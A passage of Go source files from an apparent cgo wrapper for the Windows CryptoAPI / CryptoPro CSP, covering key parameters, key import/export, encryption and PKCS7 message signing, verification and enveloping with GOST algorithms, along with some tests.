| } 100 | 101 | // GetDHOID retrieves key's DH OID 102 | func (key Key) GetDHOID() (string, error) { 103 | pbytes, err := key.GetParam(C.KP_DHOID) 104 | if err != nil { 105 | return "", err 106 | } 107 | return string(pbytes[:len(pbytes)-1]), nil 108 | } 109 | 110 | // GetHashOID retrieves key's HASH OID 111 | func (key Key) GetHashOID() (string, error) { 112 | pbytes, err := key.GetParam(C.KP_HASHOID) 113 | if err != nil { 114 | return "", err 115 | } 116 | return string(pbytes[:len(pbytes)-1]), nil 117 | } 118 | 119 | // GetOID retrieves key's algorithm OID 120 | func (key Key) GetOID() (string, error) { 121 | pbytes, err := key.GetParam(C.KP_OID) 122 | if err != nil { 123 | return "", err 124 | } 125 | return string(pbytes[:len(pbytes)-1]), nil 126 | } 127 | 128 | // SetIV sets key initialization vector 129 | func (key Key) SetIV(iv []byte) error { 130 | if C.CryptSetKeyParam(key.hKey, C.KP_IV, C.LPBYTE(unsafe.Pointer(&iv[0])), 0) == 0 { 131 | return getErr("Error setting IV for key") 132 | } 133 | return nil 134 | } 135 | 136 | // SetMode sets KP_MODE parameter on the key 137 | func (key Key) SetMode(mode C.DWORD) error { 138 | if C.CryptSetKeyParam(key.hKey, C.KP_MODE, C.LPBYTE(unsafe.Pointer(&mode)), 0) == 0 { 139 | return getErr("Error setting mode for key") 140 | } 141 | return nil 142 | } 143 | 144 | // SetAlgID sets KP_ALGID parameter on the key 145 | func (key Key) SetAlgID(algID C.ALG_ID) error { 146 | if C.CryptSetKeyParam(key.hKey, C.KP_ALGID, C.LPBYTE(unsafe.Pointer(&algID)), 0) == 0 { 147 | return getErr("Error setting algID for key") 148 | } 149 | return nil 150 | } 151 | 152 | // GetAlgID retrieves key's KP_ALGID parameter 153 | func (key Key) GetAlgID() (res C.ALG_ID, err error) { 154 | slen := C.DWORD(unsafe.Sizeof(res)) 155 | if C.CryptGetKeyParam(key.hKey, C.KP_ALGID, (*C.BYTE)(unsafe.Pointer(&res)), &slen, 0) == 0 { 156 | err = getErr("Error getting key ALG_ID") 157 | return 158 | } 159 | return 160 | } 161 | 162 | // SetPadding sets KP_PADDING parameter on the key 163 | func (key Key) SetPadding(padding C.DWORD) error { 164 | if C.CryptSetKeyParam(key.hKey, C.KP_PADDING, C.LPBYTE(unsafe.Pointer(&padding)), 0) == 0 { 165 | return getErr("Error setting padding for key") 166 | } 167 | return nil 168 | } 169 | 170 | // Close releases key handle. 171 | func (key Key) Close() error { 172 | if C.CryptDestroyKey(key.hKey) == 0 { 173 | return getErr("Error releasing key") 174 | } 175 | return nil 176 | } 177 | 178 | // ImportPublicKeyInfo imports public key information into the context and 179 | // returns public key 180 | func (ctx Ctx) ImportPublicKeyInfo(cert Cert) (Key, error) { 181 | var res Key 182 | if C.CryptImportPublicKeyInfoEx(ctx.hProv, C.MY_ENC_TYPE, &cert.pCert.pCertInfo.SubjectPublicKeyInfo, 0, 0, nil, &res.hKey) == 0 { 183 | return res, getErr("Error importing public key info") 184 | } 185 | return res, nil 186 | } 187 | 188 | // Encode exports a cryptographic key or a key pair in a secure manner. If 189 | // cryptKey is nil, exports public key in unencrypted for, else -- session key. 190 | func (key Key) Encode(cryptKey *Key) (SimpleBlob, error) { 191 | var expKey C.HCRYPTKEY 192 | var blobType C.DWORD = C.PUBLICKEYBLOB 193 | if cryptKey != nil { 194 | expKey = cryptKey.hKey 195 | blobType = C.SIMPLEBLOB 196 | } 197 | var slen C.DWORD 198 | if C.CryptExportKey(key.hKey, expKey, blobType, 0, nil, &slen) == 0 { 199 | return nil, getErr("Error getting length for key blob") 200 | } 201 | buf := make([]byte, slen) 202 | if C.CryptExportKey(key.hKey, expKey, blobType, 0, (*C.BYTE)(unsafe.Pointer(&buf[0])), &slen) == 0 { 203 | return nil, getErr("Error exporting key blob") 204 | } 205 | return SimpleBlob(buf[0:int(slen)]), nil 206 | } 207 | 208 | // ImportKey transfers a cryptographic key from a key BLOB into a context. 209 | func (ctx Ctx) ImportKey(buf SimpleBlob, cryptKey *Key) (Key, error) { 210 | var ( 211 | res Key 212 | decrKey C.HCRYPTKEY 213 | errMsg = "Error importing key blob" 214 | ) 215 | bufBytes := C.CBytes(buf) 216 | defer C.free(bufBytes) 217 | if cryptKey != nil { 218 | decrKey = cryptKey.hKey 219 | errMsg = "Error importing encrypted key blob" 220 | } 221 | if C.CryptImportKey(ctx.hProv, (*C.BYTE)(bufBytes), C.DWORD(len(buf)), decrKey, 0, &res.hKey) == 0 { 222 | return res, getErr(errMsg) 223 | } 224 | return res, nil 225 | } 226 | 227 | // Encrypt byte data on given key 228 | func (key Key) Encrypt(buf []byte, hash *Hash) ([]byte, error) { 229 | slen := C.DWORD(len(buf)) 230 | buflen := C.DWORD(len(buf)) 231 | var hHash C.HCRYPTHASH 232 | if hash != nil { 233 | hHash = hash.hHash 234 | } 235 | if C.CryptEncrypt(key.hKey, hHash, C.TRUE, 0, nil, &buflen, 0) == 0 { 236 | return nil, getErr("Error getting encrypting data size") 237 | } 238 | res := make([]byte, buflen) 239 | copy(res, buf) 240 | if C.CryptEncrypt(key.hKey, hHash, C.TRUE, 0, (*C.BYTE)(&res[0]), &slen, buflen) == 0 { 241 | return nil, getErr("Error encrypting data") 242 | } 243 | return res, nil 244 | } 245 | 246 | // Decrypt byte data on given key 247 | func (key Key) Decrypt(buf []byte, hash *Hash) ([]byte, error) { 248 | slen := C.DWORD(len(buf)) 249 | var hHash C.HCRYPTHASH 250 | if hash != nil { 251 | hHash = hash.hHash 252 | } 253 | res := make([]byte, len(buf)) 254 | copy(res, buf) 255 | if C.CryptDecrypt(key.hKey, hHash, C.TRUE, 0, (*C.BYTE)(&res[0]), &slen) == 0 { 256 | return res, getErr("Error decrypting data") 257 | } 258 | return res[0:slen], nil 259 | } 260 | -------------------------------------------------------------------------------- /csp/key_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "gopkg.in/tylerb/is.v1" 5 | "testing" 6 | ) 7 | 8 | func TestKey(t *testing.T) { 9 | is := is.New(t) 10 | 11 | provs, err := EnumProviders() 12 | is.NotZero(provs) 13 | 14 | ctx, err := AcquireCtx("TestGoCryptoAPIContainer", provs[0].Name, provs[0].Type, 0) 15 | is.NotErr(err) 16 | defer ctx.Close() 17 | 18 | k1, err := ctx.Key(AtSignature) 19 | is.Nil(err) 20 | defer k1.Close() 21 | 22 | k2, err := ctx.Key(AtSignature) 23 | is.Nil(err) 24 | defer k2.Close() 25 | } 26 | -------------------------------------------------------------------------------- /csp/msg.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | static HCERTSTORE openStoreMsg(HCRYPTMSG hMsg) { 7 | return CertOpenStore(CERT_STORE_PROV_MSG, MY_ENC_TYPE, 0, CERT_STORE_CREATE_NEW_FLAG, hMsg); 8 | } 9 | 10 | extern BOOL WINAPI msgStreamCallback( 11 | const void *pvArg, 12 | BYTE *pbData, 13 | DWORD cbData, 14 | BOOL fFinal); 15 | 16 | CMSG_STREAM_INFO *mkStreamInfo(void *pvArg) { 17 | CMSG_STREAM_INFO *res = malloc(sizeof(CMSG_STREAM_INFO)); 18 | memset(res, 0, sizeof(CMSG_STREAM_INFO)); 19 | res->cbContent = CMSG_INDEFINITE_LENGTH; 20 | res->pfnStreamOutput = &msgStreamCallback; 21 | res->pvArg = pvArg; 22 | return res; 23 | } 24 | 25 | */ 26 | import "C" 27 | 28 | import ( 29 | "encoding/asn1" 30 | "io" 31 | "unsafe" 32 | ) 33 | 34 | // Common object identifiers 35 | var ( 36 | GOST_R3411 asn1.ObjectIdentifier = []int{1, 2, 643, 2, 2, 9} 37 | GOST_R3411_12_256 asn1.ObjectIdentifier = []int{1, 2, 643, 7, 1, 1, 2, 2} 38 | GOST_R3411_12_512 asn1.ObjectIdentifier = []int{1, 2, 643, 7, 1, 1, 2, 3} 39 | 40 | MD5RSA asn1.ObjectIdentifier = []int{1, 2, 840, 113549, 1, 1, 4} 41 | SHA1RSA asn1.ObjectIdentifier = []int{1, 2, 840, 113549, 1, 1, 5} 42 | SETOAEP_RSA asn1.ObjectIdentifier = []int{1, 2, 840, 113549, 1, 1, 6} 43 | 44 | SHA256RSA asn1.ObjectIdentifier = []int{1, 2, 840, 113549, 1, 1, 11} 45 | SHA384RSA asn1.ObjectIdentifier = []int{1, 2, 840, 113549, 1, 1, 12} 46 | SHA512RSA asn1.ObjectIdentifier = []int{1, 2, 840, 113549, 1, 1, 13} 47 | ) 48 | 49 | // Msg encapsulates stream decoder of PKCS7 message 50 | type Msg struct { 51 | hMsg C.HCRYPTMSG 52 | signerKeys []C.HCRYPTPROV_OR_NCRYPT_KEY_HANDLE 53 | w io.Writer 54 | finalized bool 55 | callbackID int64 56 | lastError error 57 | } 58 | 59 | func (msg *Msg) flush() error { 60 | if msg.w != nil && !msg.finalized && !msg.update([]byte{0}, 0, true) { 61 | return getErr("Error flushing message") 62 | } 63 | return nil 64 | } 65 | 66 | // CertStore returns message certificate store. As a side-effect, source stream 67 | // is fully read and parsed. 68 | func (msg *Msg) CertStore() (res CertStore, err error) { 69 | if err = msg.flush(); err != nil { 70 | return 71 | } 72 | if res.hStore = C.openStoreMsg(msg.hMsg); res.hStore == nil { 73 | err = getErr("Error opening message cert store") 74 | return 75 | } 76 | return 77 | } 78 | 79 | // Verify verifies message signature against signer certificate 80 | func (msg *Msg) Verify(c Cert) error { 81 | if C.CryptMsgControl(msg.hMsg, 0, C.CMSG_CTRL_VERIFY_SIGNATURE, unsafe.Pointer(c.pCert.pCertInfo)) == 0 { 82 | return getErr("Error verifying message signature") 83 | } 84 | return nil 85 | } 86 | 87 | // GetSignerCount returns number of signer infos in message 88 | func (msg *Msg) GetSignerCount() (int, error) { 89 | var res C.DWORD 90 | var cbData C.DWORD = 4 91 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_SIGNER_COUNT_PARAM, 0, unsafe.Pointer(&res), &cbData) { 92 | return 0, getErr("Error acquiring message signer count") 93 | } 94 | return int(res), nil 95 | } 96 | 97 | // GetSignerCert returns i-th message signer certificate from provided 98 | // certificate store (usually acquired by msg.CertStore() method). 99 | func (msg *Msg) GetSignerCert(i int, store CertStore) (Cert, error) { 100 | var cbData C.DWORD 101 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_SIGNER_CERT_INFO_PARAM, C.DWORD(i), nil, &cbData) { 102 | return Cert{}, getErrf("Error acquiring message %d-th signer info length", i) 103 | } 104 | signerInfo := C.malloc(C.size_t(cbData)) 105 | defer C.free(signerInfo) 106 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_SIGNER_CERT_INFO_PARAM, C.DWORD(i), signerInfo, &cbData) { 107 | return Cert{}, getErrf("Error acquiring message %d-th signer info", i) 108 | } 109 | 110 | if pCert := C.CertGetSubjectCertificateFromStore(store.hStore, C.MY_ENC_TYPE, C.PCERT_INFO(signerInfo)); pCert != nil { 111 | return Cert{pCert: pCert}, nil 112 | } 113 | if ErrorCode(C.GetLastError()) != ErrCryptNotFound { 114 | return Cert{}, getErr("Error getting certificate from store") 115 | } 116 | return Cert{}, nil 117 | } 118 | -------------------------------------------------------------------------------- /csp/msg_cb.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | */ 7 | import "C" 8 | 9 | import ( 10 | "sync" 11 | "unsafe" 12 | ) 13 | 14 | type cb func(pbData *C.BYTE, cbData C.DWORD, fFinal bool) bool 15 | 16 | var callbacks = make(map[int64]cb) 17 | 18 | var idx int64 19 | 20 | var mu sync.RWMutex 21 | 22 | func registerCallback(cb cb) int64 { 23 | mu.Lock() 24 | defer mu.Unlock() 25 | idx++ 26 | callbacks[idx] = cb 27 | return idx 28 | } 29 | 30 | //export msgStreamCallback 31 | func msgStreamCallback(pvArg unsafe.Pointer, pbData *C.BYTE, cbData C.DWORD, fFinal bool) bool { 32 | idx := (*int64)(pvArg) 33 | mu.RLock() 34 | defer mu.RUnlock() 35 | return callbacks[*idx](pbData, cbData, fFinal) 36 | } 37 | -------------------------------------------------------------------------------- /csp/msg_decode.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | extern CMSG_STREAM_INFO *mkStreamInfo(void *pvArg); 7 | */ 8 | import "C" 9 | import ( 10 | "fmt" 11 | "io" 12 | "unsafe" 13 | ) 14 | 15 | // OpenToDecode creates new Msg in decode mode. If detachedSig parameter is specified, 16 | // it must contain detached P7S signature 17 | func OpenToDecode(dest io.Writer) (msg *Msg, rErr error) { 18 | res := &Msg{} 19 | res.callbackID = registerCallback(res.onWrite) 20 | si := C.mkStreamInfo(unsafe.Pointer(&res.callbackID)) 21 | defer C.free(unsafe.Pointer(si)) 22 | res.hMsg = C.CryptMsgOpenToDecode( 23 | C.MY_ENC_TYPE, // encoding type 24 | 0, // flags 25 | 0, // message type (get from message) 26 | 0, // default cryptographic provider 27 | nil, // recipient information 28 | si, // stream info 29 | ) 30 | if res.hMsg == nil { 31 | return nil, getErr("Error opening message for decoding") 32 | } 33 | res.w = dest 34 | return res, nil 35 | } 36 | 37 | // OpenToVerify creates new Msg in decode mode. If detachedSig parameter is specified, 38 | // it must contain detached P7S signature 39 | func OpenToVerify(detachedSig ...[]byte) (msg *Msg, rErr error) { 40 | res := &Msg{} 41 | res.hMsg = C.CryptMsgOpenToDecode( 42 | C.MY_ENC_TYPE, // encoding type 43 | C.CMSG_DETACHED_FLAG, // flags 44 | 0, // message type (get from message) 45 | 0, // default cryptographic provider 46 | nil, // recipient information 47 | nil, // stream info 48 | ) 49 | if res.hMsg == nil { 50 | return nil, getErr("Error opening message for decoding") 51 | } 52 | defer func() { 53 | if rErr == nil { 54 | return 55 | } 56 | if C.CryptMsgClose(res.hMsg) == 0 { 57 | rErr = fmt.Errorf("%v (original error: %v)", getErr("Error closing message"), rErr) 58 | } 59 | }() 60 | for i, p := range detachedSig { 61 | if !res.update(p, len(p), i == len(detachedSig)-1) { 62 | return res, getErr("Error updating message header") 63 | } 64 | } 65 | return res, nil 66 | } 67 | 68 | func (msg *Msg) update(buf []byte, n int, lastCall bool) bool { 69 | var lc C.BOOL 70 | if lastCall { 71 | lc = C.BOOL(1) 72 | msg.finalized = lastCall 73 | } 74 | return C.CryptMsgUpdate(msg.hMsg, (*C.BYTE)(unsafe.Pointer(&buf[0])), C.DWORD(n), lc) != 0 75 | } 76 | 77 | func (msg *Msg) onWrite(pbData *C.BYTE, cbData C.DWORD, fFinal bool) bool { 78 | if msg.w != nil { 79 | if _, err := msg.w.Write(C.GoBytes(unsafe.Pointer(pbData), C.int(cbData))); err != nil { 80 | msg.lastError = err 81 | } 82 | } 83 | return msg.lastError == nil 84 | } 85 | -------------------------------------------------------------------------------- /csp/msg_decrypt.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | extern CMSG_STREAM_INFO *mkStreamInfo(void *pvArg); 7 | */ 8 | import "C" 9 | import ( 10 | "io" 11 | "unsafe" 12 | 13 | "errors" 14 | ) 15 | 16 | type Decryptor struct { 17 | hMsg C.HCRYPTMSG 18 | w io.Writer 19 | callbackID int64 20 | maxHeaderSize int 21 | lastError error 22 | decrypting bool 23 | store *CertStore 24 | } 25 | 26 | // OpenToDecrypt creates new Msg in decrypt mode. Maximum header size, if 27 | // non-zero, limits size of data read from message until envelope recipient 28 | // info is available. 29 | func OpenToDecrypt(dest io.Writer, store *CertStore, maxHeaderSize int) (msg *Decryptor, rErr error) { 30 | res := new(Decryptor) 31 | res.maxHeaderSize = maxHeaderSize 32 | res.store = store 33 | res.w = dest 34 | res.callbackID = registerCallback(res.onWrite) 35 | si := C.mkStreamInfo(unsafe.Pointer(&res.callbackID)) 36 | defer C.free(unsafe.Pointer(si)) 37 | res.hMsg = C.CryptMsgOpenToDecode( 38 | C.MY_ENC_TYPE, // encoding type 39 | 0, // flags 40 | 0, // message type (get from message) 41 | 0, // default cryptographic provider 42 | nil, // recipient information 43 | si, // stream info 44 | ) 45 | if res.hMsg == nil { 46 | return nil, getErr("Error opening message for decrypting") 47 | } 48 | return res, nil 49 | 50 | } 51 | 52 | // Write encodes provided bytes into message output data stream 53 | func (msg *Decryptor) Write(buf []byte) (int, error) { 54 | if ok := msg.update(buf, len(buf), msg.lastError != nil); !ok { 55 | return 0, getErr("Error updating message body while writing") 56 | } 57 | if msg.decrypting { 58 | return len(buf), msg.lastError 59 | } 60 | var cbData C.DWORD 61 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_ENVELOPE_ALGORITHM_PARAM, 0, nil, &cbData) { 62 | switch ErrorCode(C.GetLastError()) { 63 | case ErrStreamNotReady: 64 | return len(buf), msg.lastError 65 | default: 66 | return 0, getErr("Error acquiring message envelope algorithm") 67 | } 68 | } 69 | cbData = C.DWORD(C.sizeof_DWORD) 70 | var numRecipients C.DWORD 71 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_RECIPIENT_COUNT_PARAM, 0, unsafe.Pointer(&numRecipients), &cbData) { 72 | return 0, getErr("Error acquiring message recipient count") 73 | } 74 | for i := 0; i < int(numRecipients); i++ { 75 | cert, err := msg.getRecipientCert(i, msg.store) 76 | if err != nil { 77 | return 0, err 78 | } else if cert == nil { 79 | continue 80 | } 81 | ctx, err := cert.Context() 82 | if err != nil { 83 | return 0, err 84 | } 85 | return msg.proceed(i, len(buf), ctx) 86 | } 87 | return 0, errors.New("no recipients found") 88 | } 89 | 90 | func (msg *Decryptor) proceed(i int, n int, ctx Ctx) (int, error) { 91 | var decrPara C.CMSG_CTRL_DECRYPT_PARA 92 | decrPara.cbSize = C.sizeof_CMSG_CTRL_DECRYPT_PARA 93 | decrPara.hCryptProv = ctx.hProv 94 | decrPara.dwKeySpec = C.AT_KEYEXCHANGE 95 | decrPara.dwRecipientIndex = C.DWORD(i) 96 | if 0 == C.CryptMsgControl(msg.hMsg, 0, C.CMSG_CTRL_DECRYPT, unsafe.Pointer(&decrPara)) { 97 | if C.GetLastError() != 0 { 98 | return 0, getErr("Error setting decrypt parameter") 99 | } 100 | } 101 | return n, msg.lastError 102 | } 103 | 104 | func (msg *Decryptor) getRecipientCert(i int, store *CertStore) (*Cert, error) { 105 | var cbData C.DWORD 106 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_RECIPIENT_INFO_PARAM, C.DWORD(i), nil, &cbData) { 107 | return nil, getErr("Error acquiring message recipient info length") 108 | } 109 | recipientInfo := C.malloc(C.size_t(cbData)) 110 | defer C.free(recipientInfo) 111 | if 0 == C.CryptMsgGetParam(msg.hMsg, C.CMSG_RECIPIENT_INFO_PARAM, C.DWORD(i), recipientInfo, &cbData) { 112 | return nil, getErr("Error acquiring message recipient info") 113 | } 114 | 115 | if pCert := C.CertGetSubjectCertificateFromStore(store.hStore, C.MY_ENC_TYPE, C.PCERT_INFO(recipientInfo)); pCert != nil { 116 | return &Cert{pCert: pCert}, nil 117 | } 118 | if ErrorCode(C.GetLastError()) != ErrCryptNotFound { 119 | return nil, getErr("Error getting certificate from store") 120 | } 121 | return nil, nil 122 | } 123 | 124 | func (msg *Decryptor) onWrite(pbData *C.BYTE, cbData C.DWORD, fFinal bool) bool { 125 | if _, err := msg.w.Write(C.GoBytes(unsafe.Pointer(pbData), C.int(cbData))); err != nil { 126 | msg.lastError = err 127 | } 128 | return msg.lastError == nil 129 | } 130 | 131 | func (msg *Decryptor) update(buf []byte, n int, lastCall bool) bool { 132 | var lc C.BOOL 133 | if lastCall { 134 | lc = C.BOOL(1) 135 | } 136 | return C.CryptMsgUpdate(msg.hMsg, (*C.BYTE)(unsafe.Pointer(&buf[0])), C.DWORD(n), lc) != 0 137 | } 138 | -------------------------------------------------------------------------------- /csp/msg_encode.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | extern CMSG_STREAM_INFO *mkStreamInfo(void *pvArg); 7 | 8 | static CMSG_SIGNED_ENCODE_INFO *mkSignedInfo(int cSigners) { 9 | int i; 10 | 11 | CMSG_SIGNED_ENCODE_INFO *res = malloc(sizeof(CMSG_SIGNED_ENCODE_INFO)); 12 | memset(res, 0, sizeof(CMSG_SIGNED_ENCODE_INFO)); 13 | res->cbSize = sizeof(CMSG_SIGNED_ENCODE_INFO); 14 | 15 | res->cSigners = cSigners; 16 | res->rgSigners = (PCMSG_SIGNER_ENCODE_INFO) malloc(sizeof(CMSG_SIGNER_ENCODE_INFO) * cSigners); 17 | memset(res->rgSigners, 0, sizeof(CMSG_SIGNER_ENCODE_INFO) * cSigners); 18 | 19 | res->cCertEncoded = cSigners; 20 | res->rgCertEncoded = malloc(sizeof(CERT_BLOB) * cSigners); 21 | memset(res->rgCertEncoded, 0, sizeof(CERT_BLOB) * cSigners); 22 | 23 | return res; 24 | } 25 | 26 | static void setSignedInfo(CMSG_SIGNED_ENCODE_INFO *out, int nSigner, HCRYPTPROV hCryptProv, PCCERT_CONTEXT pSignerCert, DWORD dwKeySpec, LPSTR oid) { 27 | out->rgSigners[nSigner].cbSize = sizeof(CMSG_SIGNER_ENCODE_INFO); 28 | out->rgSigners[nSigner].pCertInfo = pSignerCert->pCertInfo; 29 | out->rgSigners[nSigner].hCryptProv = hCryptProv; 30 | out->rgSigners[nSigner].dwKeySpec = dwKeySpec; 31 | out->rgSigners[nSigner].HashAlgorithm.pszObjId = oid; 32 | out->rgSigners[nSigner].pvHashAuxInfo = NULL; 33 | 34 | out->rgCertEncoded[nSigner].cbData = pSignerCert->cbCertEncoded; 35 | out->rgCertEncoded[nSigner].pbData = pSignerCert->pbCertEncoded; 36 | } 37 | 38 | static void freeSignedInfo(CMSG_SIGNED_ENCODE_INFO *info) { 39 | free(info->rgCertEncoded); 40 | free(info->rgSigners); 41 | free(info); 42 | } 43 | 44 | */ 45 | import "C" 46 | import ( 47 | "encoding/asn1" 48 | "fmt" 49 | "io" 50 | "unsafe" 51 | ) 52 | 53 | // EncodeOptions specifies message creation details 54 | type EncodeOptions struct { 55 | Detached bool // Signature is detached 56 | HashAlg asn1.ObjectIdentifier // Signature hash algorithm ID 57 | Signers []Cert // Signing certificate list 58 | } 59 | 60 | // OpenToEncode creates new Msg in encode mode. 61 | func OpenToEncode(dest io.Writer, options EncodeOptions) (msg *Msg, rErr error) { 62 | var flags C.DWORD 63 | if len(options.Signers) == 0 { 64 | return nil, fmt.Errorf("Signer certificates list is empty") 65 | } 66 | if options.HashAlg == nil { 67 | options.HashAlg = GOST_R3411_12_256 68 | } 69 | if options.Detached { 70 | flags = C.CMSG_DETACHED_FLAG 71 | } 72 | res := &Msg{w: dest} 73 | res.callbackID = registerCallback(res.onWrite) 74 | si := C.mkStreamInfo(unsafe.Pointer(&res.callbackID)) 75 | defer C.free(unsafe.Pointer(si)) 76 | signedInfo := C.mkSignedInfo(C.int(len(options.Signers))) 77 | defer C.freeSignedInfo(signedInfo) 78 | hashOID := C.CString(options.HashAlg.String()) 79 | defer C.free(unsafe.Pointer(hashOID)) 80 | for i, signerCert := range options.Signers { 81 | var ( 82 | hCryptProv C.HCRYPTPROV_OR_NCRYPT_KEY_HANDLE 83 | dwKeySpec C.DWORD 84 | ) 85 | if 0 == C.CryptAcquireCertificatePrivateKey(signerCert.pCert, 0, nil, &hCryptProv, &dwKeySpec, nil) { 86 | return nil, getErr("Error acquiring certificate private key") 87 | } 88 | C.setSignedInfo(signedInfo, C.int(i), C.HCRYPTPROV(hCryptProv), signerCert.pCert, dwKeySpec, (*C.CHAR)(hashOID)) 89 | res.signerKeys = append(res.signerKeys, hCryptProv) 90 | } 91 | res.hMsg = C.CryptMsgOpenToEncode( 92 | C.MY_ENC_TYPE, // encoding type 93 | flags, // flags 94 | C.CMSG_SIGNED, // message type 95 | unsafe.Pointer(signedInfo), // pointer to structure 96 | nil, // inner content OID 97 | si, // stream information 98 | ) 99 | if res.hMsg == nil { 100 | return nil, getErr("Error opening message for encoding") 101 | } 102 | defer func() { 103 | if rErr == nil { 104 | return 105 | } else if err := res.cleanup(); err != nil { 106 | rErr = fmt.Errorf("Error closing msg: %v (original error: %v)", err, rErr) 107 | } 108 | }() 109 | return res, nil 110 | } 111 | 112 | // Write encodes provided bytes into message output data stream 113 | func (msg *Msg) Write(buf []byte) (int, error) { 114 | if ok := msg.update(buf, len(buf), msg.lastError != nil); !ok { 115 | return 0, getErr("Error updating message body while writing") 116 | } 117 | return len(buf), msg.lastError 118 | } 119 | 120 | func (msg *Msg) cleanup() error { 121 | for _, hProv := range msg.signerKeys { 122 | if C.CryptReleaseContext(hProv, 0) == 0 { 123 | return getErr("Error releasing context") 124 | } 125 | } 126 | if C.CryptMsgClose(msg.hMsg) == 0 { 127 | return getErr("Error closing message") 128 | } 129 | return nil 130 | } 131 | 132 | // Close needs to be called to release internal message handle and flush 133 | // underlying encoded message. 134 | func (msg *Msg) Close() error { 135 | if err := msg.flush(); err != nil { 136 | return err 137 | } 138 | return msg.cleanup() 139 | } 140 | -------------------------------------------------------------------------------- /csp/msg_encrypt.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | /* 4 | #include "common.h" 5 | 6 | extern CMSG_STREAM_INFO *mkStreamInfo(void *pvArg); 7 | 8 | static CMSG_ENVELOPED_ENCODE_INFO *mkEnvelopedInfo(HCRYPTPROV hCryptProv, int cRecipients, LPSTR encryptOID) { 9 | CRYPT_ALGORITHM_IDENTIFIER EncryptAlgorithm; 10 | memset(&EncryptAlgorithm, 0, sizeof(CRYPT_ALGORITHM_IDENTIFIER)); 11 | 12 | EncryptAlgorithm.pszObjId = encryptOID; 13 | 14 | CMSG_ENVELOPED_ENCODE_INFO *res = malloc(sizeof(CMSG_ENVELOPED_ENCODE_INFO)); 15 | memset(res, 0, sizeof(CMSG_ENVELOPED_ENCODE_INFO)); 16 | 17 | res->cbSize = sizeof(CMSG_ENVELOPED_ENCODE_INFO); 18 | res->hCryptProv = hCryptProv; 19 | res->ContentEncryptionAlgorithm = EncryptAlgorithm; 20 | res->pvEncryptionAuxInfo = NULL; 21 | res->cRecipients = cRecipients; 22 | res->rgpRecipients = malloc(sizeof(PCERT_INFO) * cRecipients); 23 | memset(res->rgpRecipients, 0, sizeof(PCERT_INFO) * cRecipients); 24 | return res; 25 | } 26 | 27 | static void freeEnvelopedInfo(CMSG_ENVELOPED_ENCODE_INFO *info) { 28 | free(info->ContentEncryptionAlgorithm.pszObjId); 29 | free(info->rgpRecipients); 30 | free(info); 31 | } 32 | 33 | static void setRecipientInfo(CMSG_ENVELOPED_ENCODE_INFO *out, int nSigner, PCCERT_CONTEXT pRecipientCert) { 34 | out->rgpRecipients[nSigner] = pRecipientCert->pCertInfo; 35 | } 36 | 37 | */ 38 | import "C" 39 | 40 | import ( 41 | "fmt" 42 | "io" 43 | "unsafe" 44 | ) 45 | 46 | type EncryptOID string 47 | 48 | const ( 49 | EncryptOIDGost28147 EncryptOID = C.szOID_CP_GOST_28147 50 | EncryptOIDMagma EncryptOID = C.szOID_CP_GOST_R3412_2015_M_CTR_ACPKM 51 | EncryptOIDKuznechik EncryptOID = C.szOID_CP_GOST_R3412_2015_K_CTR_ACPKM 52 | ) 53 | 54 | // EncryptOptions specifies message encryption details 55 | type EncryptOptions struct { 56 | Receivers []Cert // Receiving certificate list 57 | EncryptOID EncryptOID 58 | } 59 | 60 | // OpenToEncrypt creates new Msg in encrypt mode. 61 | func OpenToEncrypt(dest io.Writer, options EncryptOptions) (*Msg, error) { 62 | if len(options.Receivers) == 0 { 63 | return nil, fmt.Errorf("Receivers certificates list is empty") 64 | } 65 | ctx, err := AcquireCtx("", "", ProvGost2012_512, CryptVerifyContext) 66 | if err != nil { 67 | return nil, err 68 | } 69 | res := new(Msg) 70 | res.callbackID = registerCallback(res.onWrite) 71 | si := C.mkStreamInfo(unsafe.Pointer(&res.callbackID)) 72 | defer C.free(unsafe.Pointer(si)) 73 | 74 | var encryptOID C.LPSTR 75 | if options.EncryptOID != "" { 76 | encryptOID = C.CString(string(options.EncryptOID)) 77 | } else { 78 | encryptOID = C.CString(string(EncryptOIDGost28147)) 79 | } 80 | envelopedInfo := C.mkEnvelopedInfo(ctx.hProv, C.int(len(options.Receivers)), encryptOID) 81 | defer C.freeEnvelopedInfo(envelopedInfo) 82 | 83 | for i, receiverCert := range options.Receivers { 84 | C.setRecipientInfo(envelopedInfo, C.int(i), receiverCert.pCert) 85 | } 86 | res.w = dest 87 | res.hMsg = C.CryptMsgOpenToEncode( 88 | C.MY_ENC_TYPE, // encoding type 89 | 0, // flags 90 | C.CMSG_ENVELOPED, // message type 91 | unsafe.Pointer(envelopedInfo), // pointer to structure 92 | nil, // inner content OID 93 | si, // stream information 94 | ) 95 | if res.hMsg == nil { 96 | return nil, getErr("Error opening message for encrypt") 97 | } 98 | return res, nil 99 | } 100 | -------------------------------------------------------------------------------- /csp/msg_test.go: -------------------------------------------------------------------------------- 1 | package csp 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "os" 9 | "strings" 10 | "testing" 11 | 12 | "github.com/hashicorp/go-multierror" 13 | "gopkg.in/tylerb/is.v1" 14 | ) 15 | 16 | func TestMsgDecode_Verify(t *testing.T) { 17 | is := is.New(t) 18 | 19 | f, err := os.Open("testdata/logical.cms") 20 | is.NotErr(err) 21 | defer f.Close() 22 | 23 | buf := new(bytes.Buffer) 24 | msg, err := OpenToDecode(buf) 25 | is.NotErr(err) 26 | t.Run("decode", func(t *testing.T) { 27 | _, err := io.Copy(msg, f) 28 | is.NotErr(err) 29 | is.NotZero(buf.Len()) 30 | }) 31 | 32 | t.Run("verify", func(t *testing.T) { 